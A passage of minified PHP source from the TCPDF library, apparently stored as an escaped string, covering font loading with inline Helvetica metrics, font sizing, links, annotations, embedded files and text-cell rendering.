$fontdata;}$fontdir=false;if(!TCPDF_STATIC::empty_string($fontfile)){$fontdir=dirname($fontfile);if(TCPDF_STATIC::empty_string($fontdir) OR ($fontdir==\'.\')){$fontdir=\'\';}else {$fontdir.=\'/\';}}$missing_style=false;if(TCPDF_STATIC::empty_string($fontfile) OR (!@file_exists($fontfile))){$tmp_fontfile=str_replace(\' \',\'\',$family).strtolower($style).\'.php\';$fontfile=TCPDF_FONTS::getFontFullPath($tmp_fontfile,$fontdir);if(TCPDF_STATIC::empty_string($fontfile)){$missing_style=true;$tmp_fontfile=str_replace(\' \',\'\',$family).\'.php\';$fontfile=TCPDF_FONTS::getFontFullPath($tmp_fontfile,$fontdir);}}$type=\'core\';$name=\'Helvetica\';$up=-100;$ut=50;$dw=513;$diff=\'\';$enc=\'\';$desc=array(\'Flags\'=>32,\'FontBBox\'=>\'[-166 -225 1000 931]\',\'ItalicAngle\'=>0,\'Ascent\'=>931,\'Descent\'=>-225,\'Leading\'=>0,\'CapHeight\'=>718,\'XHeight\'=>523,\'StemV\'=>88,\'StemH\'=>76,\'AvgWidth\'=>513,\'MaxWidth\'=>1015,\'MissingWidth\'=>513);$cw=array(0=>500,1=>500,2=>500,3=>500,4=>500,5=>500,6=>500,7=>500,8=>500,9=>500,10=>500,11=>500,12=>500,13=>500,14=>500,15=>500,16=>500,17=>500,18=>500,19=>500,20=>500,21=>500,22=>500,23=>500,24=>500,25=>500,26=>500,27=>500,28=>500,29=>500,30=>500,31=>500,32=>278,33=>278,34=>355,35=>556,36=>556,37=>889,38=>667,39=>191,40=>333,41=>333,42=>389,43=>584,44=>278,45=>333,46=>278,47=>278,48=>556,49=>556,50=>556,51=>556,52=>556,53=>556,54=>556,55=>556,56=>556,57=>556,58=>278,59=>278,60=>584,61=>584,62=>584,63=>556,64=>1015,65=>667,66=>667,67=>722,68=>722,69=>667,70=>611,71=>778,72=>722,73=>278,74=>500,75=>667,76=>556,77=>833,78=>722,79=>778,80=>667,81=>778,82=>722,83=>667,84=>611,85=>722,86=>667,87=>944,88=>667,89=>667,90=>611,91=>278,92=>278,93=>277,94=>469,95=>556,96=>333,97=>556,98=>556,99=>500,100=>556,101=>556,102=>278,103=>556,104=>556,105=>222,106=>222,107=>500,108=>222,109=>833,110=>556,111=>556,112=>556,113=>556,114=>333,115=>500,116=>278,117=>556,118=>500,119=>722,120=>500,121=>500,122=>500,123=>334,124=>260,125=>334,126=>584,127=>500,128=>655,129=>500,130=>222,131=>278,132=>333,133=>1000,134=>556,135=>556,136=>333,137=>1000,138=>667,139=>250,140=>1000,141=>500,142=>611,143=>500,144=>500,145=>222,146=>221,147=>333,148=>333,149=>350,150=>556,151=>1000,152=>333,153=>1000,154=>500,155=>250,156=>938,157=>500,158=>500,159=>667,160=>278,161=>278,162=>556,163=>556,164=>556,165=>556,166=>260,167=>556,168=>333,169=>737,170=>370,171=>448,172=>584,173=>333,174=>737,175=>333,176=>606,177=>584,178=>350,179=>350,180=>333,181=>556,182=>537,183=>278,184=>333,185=>350,186=>365,187=>448,188=>869,189=>869,190=>879,191=>556,192=>667,193=>667,194=>667,195=>667,196=>667,197=>667,198=>1000,199=>722,200=>667,201=>667,202=>667,203=>667,204=>278,205=>278,206=>278,207=>278,208=>722,209=>722,210=>778,211=>778,212=>778,213=>778,214=>778,215=>584,216=>778,217=>722,218=>722,219=>722,220=>722,221=>667,222=>666,223=>611,224=>556,225=>556,226=>556,227=>556,228=>556,229=>556,230=>896,231=>500,232=>556,233=>556,234=>556,235=>556,236=>251,237=>251,238=>251,239=>251,240=>556,241=>556,242=>556,243=>556,244=>556,245=>556,246=>556,247=>584,248=>611,249=>556,250=>556,251=>556,252=>556,253=>500,254=>555,255=>500);if((!isset($type)) OR (!isset($cw))){$this->Error(\'The font definition file has a bad format: \'.$fontfile.\'\');}if(!isset($file) OR TCPDF_STATIC::empty_string($file)){$file=\'\';}if(!isset($enc) OR TCPDF_STATIC::empty_string($enc)){$enc=\'\';}if(!isset($cidinfo) OR TCPDF_STATIC::empty_string($cidinfo)){$cidinfo=array(\'Registry\'=>\'Adobe\',\'Ordering\'=>\'Identity\',\'Supplement\'=>0);$cidinfo[\'uni2cid\']=array();}if(!isset($ctg) OR TCPDF_STATIC::empty_string($ctg)){$ctg=\'\';}if(!isset($desc) OR TCPDF_STATIC::empty_string($desc)){$desc=array();}if(!isset($up) OR TCPDF_STATIC::empty_string($up)){$up=-100;}if(!isset($ut) OR TCPDF_STATIC::empty_string($ut)){$ut=50;}if(!isset($cw) OR TCPDF_STATIC::empty_string($cw)){$cw=array();}if(!isset($dw) OR TCPDF_STATIC::empty_string($dw)){if(isset($desc[\'MissingWidth\']) AND ($desc[\'MissingWidth\']>0)){$dw=$desc[\'MissingWidth\'];}elseif(isset($cw[32])){$dw=$cw[32];}else {$dw=600;}}++$this->numfonts;if($type==\'core\'){$name=$this->CoreFonts[$fontkey];$subset=false;}elseif(($type==\'TrueType\') OR ($type==\'Type1\')){$subset=false;}elseif($type==\'TrueTypeUnicode\'){$enc=\'Identity-H\';}elseif($type==\'cidfont0\'){if($this->pdfa_mode){$this->Error(\'All fonts must be embedded in PDF/A mode!\');}}else {$this->Error(\'Unknow font type: \'.$type.\'\');}if(!isset($name) OR empty($name)){$name=$fontkey;}if(($type!=\'core\') AND $missing_style){$styles=array(\'\'=>\'\',\'B\'=>\',Bold\',\'I\'=>\',Italic\',\'BI\'=>\',BoldItalic\');$name.=$styles[$bistyle];if(strpos($bistyle,\'B\')!==false){if(isset($desc[\'StemV\'])){$desc[\'StemV\']=round($desc[\'StemV\']*1.75);}else {$desc[\'StemV\']=123;}}if(strpos($bistyle,\'I\')!==false){if(isset($desc[\'ItalicAngle\'])){$desc[\'ItalicAngle\']-=11;}else {$desc[\'ItalicAngle\']=-11;}if(isset($desc[\'Flags\'])){$desc[\'Flags\']|=64;}else {$desc[\'Flags\']=64;}}}if(!isset($cbbox)){$cbbox=array();}$subsetchars=array_fill(0,255,true);$this->setFontBuffer($fontkey,array(\'fontkey\'=>$fontkey,\'i\'=>$this->numfonts,\'type\'=>$type,\'name\'=>$name,\'desc\'=>$desc,\'up\'=>$up,\'ut\'=>$ut,\'cw\'=>$cw,\'cbbox\'=>$cbbox,\'dw\'=>$dw,\'enc\'=>$enc,\'cidinfo\'=>$cidinfo,\'file\'=>$file,\'ctg\'=>$ctg,\'subset\'=>$subset,\'subsetchars\'=>$subsetchars));if($this->inxobj){$this->xobjects[$this->xobjid][\'fonts\'][$fontkey]=$this->numfonts;}if(isset($diff) AND (!empty($diff))){$d=0;$nb=count($this->diffs);for($i=1;$i<=$nb;++$i){if($this->diffs[$i]==$diff){$d=$i;break;}}if($d==0){$d=$nb+1;$this->diffs[$d]=$diff;}$this->setFontSubBuffer($fontkey,\'diff\',$d);}if(!TCPDF_STATIC::empty_string($file)){if(!isset($this->FontFiles[$file])){if((strcasecmp($type,\'TrueType\')==0) OR (strcasecmp($type,\'TrueTypeUnicode\')==0)){$this->FontFiles[$file]=array(\'length1\'=>$originalsize,\'fontdir\'=>$fontdir,\'subset\'=>$subset,\'fontkeys\'=>array($fontkey));}elseif($type!=\'core\'){$this->FontFiles[$file]=array(\'length1\'=>$size1,\'length2\'=>$size2,\'fontdir\'=>$fontdir,\'subset\'=>$subset,\'fontkeys\'=>array($fontkey));}}else {$this->FontFiles[$file][\'subset\']=($this->FontFiles[$file][\'subset\'] AND $subset);if(!in_array($fontkey,$this->FontFiles[$file][\'fontkeys\'])){$this->FontFiles[$file][\'fontkeys\'][]=$fontkey;}}}return $fontdata;} function SetFont($family,$style=\'\',$size=null,$fontfile=\'\',$subset=\'default\',$out=true){if($size===null){$size=$this->FontSizePt;}if($size<0){$size=0;}$fontdata=$this->AddFont($family,$style,$fontfile,$subset);$this->FontFamily=$fontdata[\'family\'];$this->FontStyle=$fontdata[\'style\'];if(isset($this->CurrentFont[\'fontkey\']) AND isset($this->CurrentFont[\'subsetchars\'])){$this->setFontSubBuffer($this->CurrentFont[\'fontkey\'],\'subsetchars\',$this->CurrentFont[\'subsetchars\']);}$this->CurrentFont=$this->getFontBuffer($fontdata[\'fontkey\']);$this->SetFontSize($size,$out);} function SetFontSize($size,$out=true){$this->FontSizePt=$size;$this->FontSize=$size/$this->k;if(isset($this->CurrentFont[\'desc\'][\'FontBBox\'])){$bbox=explode(\' \',substr($this->CurrentFont[\'desc\'][\'FontBBox\'],1,-1));$font_height=((intval($bbox[3])-intval($bbox[1]))*$size/1000);}else {$font_height=$size*1.219;}if(isset($this->CurrentFont[\'desc\'][\'Ascent\']) AND ($this->CurrentFont[\'desc\'][\'Ascent\']>0)){$font_ascent=($this->CurrentFont[\'desc\'][\'Ascent\']*$size/1000);}if(isset($this->CurrentFont[\'desc\'][\'Descent\']) AND ($this->CurrentFont[\'desc\'][\'Descent\']<=0)){$font_descent=(-$this->CurrentFont[\'desc\'][\'Descent\']*$size/1000);}if(!isset($font_ascent) AND !isset($font_descent)){$font_ascent=0.76*$font_height;$font_descent=$font_height-$font_ascent;}elseif(!isset($font_descent)){$font_descent=$font_height-$font_ascent;}elseif(!isset($font_ascent)){$font_ascent=$font_height-$font_descent;}$this->FontAscent=($font_ascent/$this->k);$this->FontDescent=($font_descent/$this->k);if($out AND ($this->page>0) AND (isset($this->CurrentFont[\'i\'])) AND ($this->state==2)){$this->_out(sprintf(\'BT /F%d %F Tf ET\',$this->CurrentFont[\'i\'],$this->FontSizePt));}} function getFontBBox(){$fbbox=array();if(isset($this->CurrentFont[\'desc\'][\'FontBBox\'])){$tmpbbox=explode(\' \',substr($this->CurrentFont[\'desc\'][\'FontBBox\'],1,-1));$fbbox=array_map(array($this,\'getAbsFontMeasure\'),$tmpbbox);}else {if(isset($this->CurrentFont[\'desc\'][\'MaxWidth\'])){$maxw=$this->getAbsFontMeasure(intval($this->CurrentFont[\'desc\'][\'MaxWidth\']));}else {$maxw=0;if(isset($this->CurrentFont[\'desc\'][\'MissingWidth\'])){$maxw=max($maxw,$this->CurrentFont[\'desc\'][\'MissingWidth\']);}if(isset($this->CurrentFont[\'desc\'][\'AvgWidth\'])){$maxw=max($maxw,$this->CurrentFont[\'desc\'][\'AvgWidth\']);}if(isset($this->CurrentFont[\'dw\'])){$maxw=max($maxw,$this->CurrentFont[\'dw\']);}foreach($this->CurrentFont[\'cw\'] as $char=>$w){$maxw=max($maxw,$w);}if($maxw==0){$maxw=600;}$maxw=$this->getAbsFontMeasure($maxw);}$fbbox=array(0,(0-$this->FontDescent),$maxw,$this->FontAscent);}return $fbbox;} function getAbsFontMeasure($s){return ($s*$this->FontSize/1000);} function getCharBBox($char){$c=intval($char);if(isset($this->CurrentFont[\'cw\'][$c])){$result=array(0,0,0,0);if(isset($this->CurrentFont[\'cbbox\'][$c])){$result=$this->CurrentFont[\'cbbox\'][$c];}return array_map(array($this,\'getAbsFontMeasure\'),$result);}return false;} function getFontDescent($font,$style=\'\',$size=0){$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata[\'fontkey\']);if(isset($fontinfo[\'desc\'][\'Descent\']) AND ($fontinfo[\'desc\'][\'Descent\']<=0)){$descent=(-$fontinfo[\'desc\'][\'Descent\']*$size/1000);}else {$descent=(1.219*0.24*$size);}return ($descent/$this->k);} function getFontAscent($font,$style=\'\',$size=0){$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata[\'fontkey\']);if(isset($fontinfo[\'desc\'][\'Ascent\']) AND ($fontinfo[\'desc\'][\'Ascent\']>0)){$ascent=($fontinfo[\'desc\'][\'Ascent\']*$size/1000);}else {$ascent=1.219*0.76*$size;}return ($ascent/$this->k);} function isCharDefined($char,$font=\'\',$style=\'\'){if(is_string($char)){$char=TCPDF_FONTS::UTF8StringToArray($char,$this->isunicode,$this->CurrentFont);$char=$char[0];}if(TCPDF_STATIC::empty_string($font)){if(TCPDF_STATIC::empty_string($style)){return (isset($this->CurrentFont[\'cw\'][intval($char)]));}$font=$this->FontFamily;}$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata[\'fontkey\']);return (isset($fontinfo[\'cw\'][intval($char)]));} function replaceMissingChars($text,$font=\'\',$style=\'\',$subs=array()){if(empty($subs)){return $text;}if(TCPDF_STATIC::empty_string($font)){$font=$this->FontFamily;}$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata[\'fontkey\']);$uniarr=TCPDF_FONTS::UTF8StringToArray($text,$this->isunicode,$this->CurrentFont);foreach($uniarr as $k=>$chr){if(!isset($fontinfo[\'cw\'][$chr])){if(isset($subs[$chr])){if(is_array($subs[$chr])){foreach($subs[$chr] as $s){if(isset($fontinfo[\'cw\'][$s])){$uniarr[$k]=$s;break;}}}elseif(isset($fontinfo[\'cw\'][$subs[$chr]])){$uniarr[$k]=$subs[$chr];}}}}return TCPDF_FONTS::UniArrSubString(TCPDF_FONTS::UTF8ArrayToUniArray($uniarr,$this->isunicode));} function SetDefaultMonospacedFont($font){$this->default_monospaced_font=$font;} function AddLink(){$n=count($this->links)+1;$this->links[$n]=array(\'p\'=>0,\'y\'=>0,\'f\'=>false);return $n;} function SetLink($link,$y=0,$page=-1){$fixed=false;if(!empty($page) AND ($page[0]==\'*\')){$page=intval(substr($page,1));$fixed=true;}if($page<0){$page=$this->page;}if($y==-1){$y=$this->y;}$this->links[$link]=array(\'p\'=>$page,\'y\'=>$y,\'f\'=>$fixed);} function Link($x,$y,$w,$h,$link,$spaces=0){$this->Annotation($x,$y,$w,$h,$link,array(\'Subtype\'=>\'Link\'),$spaces);} function Annotation($x,$y,$w,$h,$text,$opt=array(\'Subtype\'=>\'Text\'),$spaces=0){if($this->inxobj){$this->xobjects[$this->xobjid][\'annotations\'][]=array(\'x\'=>$x,\'y\'=>$y,\'w\'=>$w,\'h\'=>$h,\'text\'=>$text,\'opt\'=>$opt,\'spaces\'=>$spaces);return;}if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if(isset($this->transfmatrix) AND !empty($this->transfmatrix)){for($i=$this->transfmatrix_key;$i>0;--$i){$maxid=count($this->transfmatrix[$i])-1;for($j=$maxid;$j>=0;--$j){$ctm=$this->transfmatrix[$i][$j];if(isset($ctm[\'a\'])){$x=$x*$this->k;$y=($this->h-$y)*$this->k;$w=$w*$this->k;$h=$h*$this->k;$xt=$x;$yt=$y;$x1=($ctm[\'a\']*$xt)+($ctm[\'c\']*$yt)+$ctm[\'e\'];$y1=($ctm[\'b\']*$xt)+($ctm[\'d\']*$yt)+$ctm[\'f\'];$xt=$x+$w;$yt=$y;$x2=($ctm[\'a\']*$xt)+($ctm[\'c\']*$yt)+$ctm[\'e\'];$y2=($ctm[\'b\']*$xt)+($ctm[\'d\']*$yt)+$ctm[\'f\'];$xt=$x;$yt=$y-$h;$x3=($ctm[\'a\']*$xt)+($ctm[\'c\']*$yt)+$ctm[\'e\'];$y3=($ctm[\'b\']*$xt)+($ctm[\'d\']*$yt)+$ctm[\'f\'];$xt=$x+$w;$yt=$y-$h;$x4=($ctm[\'a\']*$xt)+($ctm[\'c\']*$yt)+$ctm[\'e\'];$y4=($ctm[\'b\']*$xt)+($ctm[\'d\']*$yt)+$ctm[\'f\'];$x=min($x1,$x2,$x3,$x4);$y=max($y1,$y2,$y3,$y4);$w=(max($x1,$x2,$x3,$x4)-$x)/$this->k;$h=($y-min($y1,$y2,$y3,$y4))/$this->k;$x=$x/$this->k;$y=$this->h-($y/$this->k);}}}}if($this->page<=0){$page=1;}else {$page=$this->page;}if(!isset($this->PageAnnots[$page])){$this->PageAnnots[$page]=array();}$this->PageAnnots[$page][]=array(\'n\'=>++$this->n,\'x\'=>$x,\'y\'=>$y,\'w\'=>$w,\'h\'=>$h,\'txt\'=>$text,\'opt\'=>$opt,\'numspaces\'=>$spaces);if(!$this->pdfa_mode){if((($opt[\'Subtype\']==\'FileAttachment\') OR ($opt[\'Subtype\']==\'Sound\')) AND (!TCPDF_STATIC::empty_string($opt[\'FS\'])) AND (@file_exists($opt[\'FS\']) OR TCPDF_STATIC::isValidURL($opt[\'FS\'])) AND (!isset($this->embeddedfiles[basename($opt[\'FS\'])]))){$this->embeddedfiles[basename($opt[\'FS\'])]=array(\'f\'=>++$this->n,\'n\'=>++$this->n,\'file\'=>$opt[\'FS\']);}}if(isset($opt[\'mk\'][\'i\']) AND @file_exists($opt[\'mk\'][\'i\'])){$this->Image($opt[\'mk\'][\'i\'],\'\',\'\',10,10,\'\',\'\',\'\',false,300,\'\',false,false,0,false,true);}if(isset($opt[\'mk\'][\'ri\']) AND @file_exists($opt[\'mk\'][\'ri\'])){$this->Image($opt[\'mk\'][\'ri\'],\'\',\'\',0,0,\'\',\'\',\'\',false,300,\'\',false,false,0,false,true);}if(isset($opt[\'mk\'][\'ix\']) AND @file_exists($opt[\'mk\'][\'ix\'])){$this->Image($opt[\'mk\'][\'ix\'],\'\',\'\',0,0,\'\',\'\',\'\',false,300,\'\',false,false,0,false,true);}} function _putEmbeddedFiles(){if($this->pdfa_mode){return;}reset($this->embeddedfiles);foreach($this->embeddedfiles as $filename=>$filedata){$data=TCPDF_STATIC::fileGetContents($filedata[\'file\']);if($data!==FALSE){$rawsize=strlen($data);if($rawsize>0){$this->efnames[$filename]=$filedata[\'f\'].\' 0 R\';$out=$this->_getobj($filedata[\'f\'])."
";$out.=\'<</Type /Filespec /F \'.$this->_datastring($filename,$filedata[\'f\']).\' /EF <</F \'.$filedata[\'n\'].\' 0 R>> >>\';$out.="
".\'endobj\';$this->_out($out);$filter=\'\';if($this->compress){$data=gzcompress($data);$filter=\' /Filter /FlateDecode\';}$stream=$this->_getrawstream($data,$filedata[\'n\']);$out=$this->_getobj($filedata[\'n\'])."
";$out.=\'<< /Type /EmbeddedFile\'.$filter.\' /Length \'.strlen($stream).\' /Params <</Size \'.$rawsize.\'>> >>\';$out.=\' stream\'."
".$stream."
".\'endstream\';$out.="
".\'endobj\';$this->_out($out);}}}} function Text($x,$y,$txt,$fstroke=false,$fclip=false,$ffill=true,$border=0,$ln=0,$align=\'\',$fill=false,$link=\'\',$stretch=0,$ignore_min_height=false,$calign=\'T\',$valign=\'M\',$rtloff=false){$textrendermode=$this->textrendermode;$textstrokewidth=$this->textstrokewidth;$this->setTextRenderingMode($fstroke,$ffill,$fclip);$this->SetXY($x,$y,$rtloff);$this->Cell(0,0,$txt,$border,$ln,$align,$fill,$link,$stretch,$ignore_min_height,$calign,$valign);$this->textrendermode=$textrendermode;$this->textstrokewidth=$textstrokewidth;} function AcceptPageBreak(){if($this->num_columns>1){if($this->current_column<($this->num_columns-1)){$this->selectColumn($this->current_column+1);}elseif($this->AutoPageBreak){$this->AddPage();$this->selectColumn(0);}return false;}return $this->AutoPageBreak;} function checkPageBreak($h=0,$y=\'\',$addpage=true){if(TCPDF_STATIC::empty_string($y)){$y=$this->y;}$current_page=$this->page;if((($y+$h)>$this->PageBreakTrigger) AND ($this->inPageBody()) AND ($this->AcceptPageBreak())){if($addpage){$x=$this->x;$this->AddPage($this->CurOrientation);$this->y=$this->tMargin;$oldpage=$this->page-1;if($this->rtl){if($this->pagedim[$this->page][\'orm\']!=$this->pagedim[$oldpage][\'orm\']){$this->x=$x-($this->pagedim[$this->page][\'orm\']-$this->pagedim[$oldpage][\'orm\']);}else {$this->x=$x;}}else {if($this->pagedim[$this->page][\'olm\']!=$this->pagedim[$oldpage][\'olm\']){$this->x=$x+($this->pagedim[$this->page][\'olm\']-$this->pagedim[$oldpage][\'olm\']);}else {$this->x=$x;}}}return true;}if($current_page!=$this->page){return true;}return false;} function Cell($w,$h=0,$txt=\'\',$border=0,$ln=0,$align=\'\',$fill=false,$link=\'\',$stretch=0,$ignore_min_height=false,$calign=\'T\',$valign=\'M\'){$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$this->adjustCellPadding($border);if(!$ignore_min_height){$min_cell_height=$this->getCellHeight($this->FontSize);if($h<$min_cell_height){$h=$min_cell_height;}}$this->checkPageBreak($h+$this->cell_margin[\'T\']+$this->cell_margin[\'B\']);if($this->txtshadow[\'enabled\']){$x=$this->x;$y=$this->y;$bc=$this->bgcolor;$fc=$this->fgcolor;$sc=$this->strokecolor;$alpha=$this->alpha;$this->x+=$this->txtshadow[\'depth_w\'];$this->y+=$this->txtshadow[\'depth_h\'];$this->SetFillColorArray($this->txtshadow[\'color\']);$this->SetTextColorArray($this->txtshadow[\'color\']);$this->SetDrawColorArray($this->txtshadow[\'color\']);if($this->txtshadow[\'opacity\']!=$alpha[\'CA\']){$this->setAlpha($this->txtshadow[\'opacity\'],$this->txtshadow[\'blend_mode\']);}if($this->state==2){$this->_out($this->getCellCode($w,$h,$txt,$border,$ln,$align,$fill,$link,$stretch,true,$calign,$valign));}$this->x=$x;$this->y=$y;$this->SetFillColorArray($bc);$this->SetTextColorArray($fc);$this->SetDrawColorArray($sc);if($this->txtshadow[\'opacity\']!=$alpha[\'CA\']){$this->setAlpha($alpha[\'CA\'],$alpha[\'BM\'],$alpha[\'ca\'],$alpha[\'AIS\']);}}if($this->state==2){$this->_out($this->getCellCode($w,$h,$txt,$border,$ln,$align,$fill,$link,$stretch,true,$calign,$valign));}$this->cell_padding=$prev_cell_padding;$this->cell_margin=$prev_cell_margin;} function getCellCode($w,$h=0,$txt=\'\',$border=0,$ln=0,$align=\'\',$fill=false,$link=\'\',$stretch=0,$ignore_min_height=false,$calign=\'T\',$valign=\'M\'){$txt=str_replace(TCPDF_FONTS::unichr(160,$this->isunicode),\' \',$txt);$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$txt=TCPDF_STATIC::removeSHY($txt,$this->isunicode);$rs=\'\';$this->adjustCellPadding($border);if(!$ignore_min_height){$min_cell_height=$this->getCellHeight($this->FontSize);if($h<$min_cell_height){$h=$min_cell_height;}}$k=$this->k;list($this->x,$this->y)=$this->checkPageRegions($h,$this->x,$this->y);if($this->rtl){$x=$this->x-$this->cell_margin[\'R\'];}else {$x=$this->x+$this->cell_margin[\'L\'];}$y=$this->y+$this->cell_margin[\'T\'];$prev_font_stretching=$this->font_stretching;$prev_font_spacing=$this->font_spacing;switch($calign){case \'A\':{switch($valign){case \'T\':{$y-=$this->cell_padding[\'T\'];break;}case \'B\':{$y-=($h-$this->cell_padding[\'B\']-$this->FontAscent-$this->FontDescent);break;}default:case \'C\':case \'M\':{$y-=(($h-$this->FontAscent-$this->FontDescent)/2);break;}}break;}case \'L\':{switch($valign){case \'T\':{$y-=($this->cell_padding[\'T\']+$this->FontAscent);break;}case \'B\':{$y-=($h-$this->cell_padding[\'B\']-$this->FontDescent);break;}default:case \'C\':case \'M\':{$y-=(($h+$this->FontAscent-$this->FontDescent)/2);break;}}break;}case \'D\':{switch($valign){case \'T\':{$y-=($this->cell_padding[\'T\']+$this->FontAscent+$this->FontDescent);break;}case \'B\':{$y-=($h-$this->cell_padding[\'B\']);break;}default:case \'C\':case \'M\':{$y-=(($h+$this->FontAscent+$this->FontDescent)/2);break;}}break;}case \'B\':{$y-=$h;break;}case \'C\':case \'M\':{$y-=($h/2);break;}default:case \'T\':{break;}}switch($valign){case \'T\':{$yt=$y+$this->cell_padding[\'T\'];break;}case \'B\':{$yt=$y+$h-$this->cell_padding[\'B\']-$this->FontAscent-$this->FontDescent;break;}default:case \'C\':case \'M\':{$yt=$y+(($h-$this->FontAscent-$this->FontDescent)/2);break;}}$basefonty=$yt+$this->FontAscent;if(TCPDF_STATIC::empty_string($w) OR ($w<=0)){if($this->rtl){$w=$x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$x;}}$s=\'\';if(is_string($border) AND (strlen($border)==4)){$border=1;}if($fill OR ($border==1)){if($fill){$op=($border==1)?\'B\':\'f\';}else {$op=\'S\';}if($this->rtl){$xk=(($x-$w)*$k);}else {$xk=($x*$k);}$s.=sprintf(\'%F %F %F %F re %s \',$xk,(($this->h-$y)*$k),($w*$k),(-$h*$k),$op);}$s.=$this->getCellBorder($x,$y,$w,$h,$border);if($txt!=\'\'){$txt2=$txt;if($this->isunicode){if(($this->CurrentFont[\'type\']==\'core\') OR ($this->CurrentFont[\'type\']==\'TrueType\') OR ($this->CurrentFont[\'type\']==\'Type1\')){$txt2=TCPDF_FONTS::UTF8ToLatin1($txt2,$this->isunicode,$this->CurrentFont);}else {$unicode=TCPDF_FONTS::UTF8StringToArray($txt,$this->isunicode,$this->CurrentFont);$unicode=TCPDF_FONTS::utf8Bidi($unicode,\'\',$this->tmprtl,$this->isunicode,$this->CurrentFont);if(defined(\'K_THAI_TOPCHARS\') AND (K_THAI_TOPCHARS==true)){$numchars=count($unicode);$longtail=array(0x0e1b,0x0e1d,0x0e1f);$lowtail=array(0x0e0e,0x0e0f);$upvowel=array(0x0e31,0x0e34,0x0e35,0x0e36,0x0e37);$tonemark=array(0x0e48,0x0e49,0x0e4a,0x0e4b,0x0e4c);$lowvowel=array(0x0e38,0x0e39,0x0e3a);$output=array();for($i=0;$i<$numchars;$i++){if(($unicode[$i]>=0x0e00)&&($unicode[$i]<=0x0e5b)){$ch0=$unicode[$i];$ch1=($i>0)?$unicode[($i-1)]:0;$ch2=($i>1)?$unicode[($i-2)]:0;$chn=($i<($numchars-1))?$unicode[($i+1)]:0;if(in_array($ch0,$tonemark)){if($chn==0x0e33){if(in_array($ch1,$longtail)){$output[]=$this->replaceChar($ch0,(0xf713+$ch0-0x0e48));}else {$output[]=$ch0;}}elseif(in_array($ch1,$longtail) OR (in_array($ch2,$longtail) AND in_array($ch1,$lowvowel))){$output[]=$this->replaceChar($ch0,(0xf705+$ch0-0x0e48));}elseif(in_array($ch1,$upvowel)){if(in_array($ch2,$longtail)){$output[]=$this->replaceChar($ch0,(0xf713+$ch0-0x0e48));}else {$output[]=$ch0;}}else {$output[]=$this->replaceChar($ch0,(0xf70a+$ch0-0x0e48));}}elseif(($ch0==0x0e33) AND (in_array($ch1,$longtail) OR (in_array($ch2,$longtail) AND in_array($ch1,$tonemark)))){if($this->isCharDefined(0xf711) AND $this->isCharDefined(0x0e32)){$output[]=0xf711;$this->CurrentFont[\'subsetchars\'][0xf711]=true;$output[]=0x0e32;$this->CurrentFont[\'subsetchars\'][0x0e32]=true;}else {$output[]=$ch0;}}elseif(in_array($ch1,$longtail)){if($ch0==0x0e31){$output[]=$this->replaceChar($ch0,0xf710);}elseif(in_array($ch0,$upvowel)){$output[]=$this->replaceChar($ch0,(0xf701+$ch0-0x0e34));}elseif($ch0==0x0e47){$output[]=$this->replaceChar($ch0,0xf712);}else {$output[]=$ch0;}}elseif(in_array($ch1,$lowtail) AND in_array($ch0,$lowvowel)){$output[]=$this->replaceChar($ch0,(0xf718+$ch0-0x0e38));}elseif(($ch0==0x0e0d) AND in_array($chn,$lowvowel)){$output[]=$this->replaceChar($ch0,0xf70f);}elseif(($ch0==0x0e10) AND in_array($chn,$lowvowel)){$output[]=$this->replaceChar($ch0,0xf700);}else {$output[]=$ch0;}}else {$output[]=$unicode[$i];}}$unicode=$output;$this->setFontSubBuffer($this->CurrentFont[\'fontkey\'],\'subsetchars\',$this->CurrentFont[\'subsetchars\']);}$txt2=TCPDF_FONTS::arrUTF8ToUTF16BE($unicode,false);}}$txt2=TCPDF_STATIC::_escape($txt2);$txwidth=$this->GetStringWidth($txt);$width=$txwidth;if($stretch>0){if($width<=0){$ratio=1;}else {$ratio=(($w-$this->cell_padding[\'L\']-$this->cell_padding[\'R\'])/$width);}if(($ratio<1) OR (($ratio>1) AND (($stretch%2)==0))){if($stretch>2){$this->font_spacing+=($w-$this->cell_padding[\'L\']-$this->cell_padding[\'R\']-$width)/(max(($this->GetNumChars($txt)-1),1)*($this->font_stretching/100));}else {$this->font_stretching*=$ratio;}$width=$w-$this->cell_padding[\'L\']-$this->cell_padding[\'R\'];$align=\'\';}}if($this->font_stretching!=100){$rs.=sprintf(\'BT %F Tz ET \',$this->font_stretching);}if($this->font_spacing!=0){$rs.=sprintf(\'BT %F Tc ET \',($this->font_spacing*$this->k));}if($this->ColorFlag AND ($this->textrendermode<4)){$s.=\'q \'.$this->TextColor.\' \';}$s.=sprintf(\'BT %d Tr %F w ET \',$this->textrendermode,($this->textstrokewidth*$this->k));$ns=substr_count($txt,chr(32));$spacewidth=0;if(($align==\'J\') AND ($ns>0)){if($this->isUnicodeFont()){$width=$this->GetStringWidth(str_replace(\' \',\'\',$txt));$spacewidth=-1000*($w-$width-$this->cell_padding[\'L\']-$this->cell_padding[\'R\'])/($ns?$ns:1)/($this->FontSize?$this->FontSize:1);if($this->font_stretching!=100){$spacewidth/=($this->font_stretching/100);}$txt2=str_replace(chr(0).chr(32),\') \'.sprintf(\'%F\',$spacewidth).\' (\',$txt2);$unicode_justification=true;}else {$width=$txwidth;$spacewidth=(($w-$width-$this->cell_padding[\'L\']-$this->cell_padding[\'R\'])/($ns?$ns:1))*$this->k;if($this->font_stretching!=100){$spacewidth/=($this->font_stretching/100);}$rs.=sprintf(\'BT %F Tw ET \',$spacewidth);}$width=$w-$this->cell_padding[\'L\']-$this->cell_padding[\'R\'];}$txt2=str_replace("
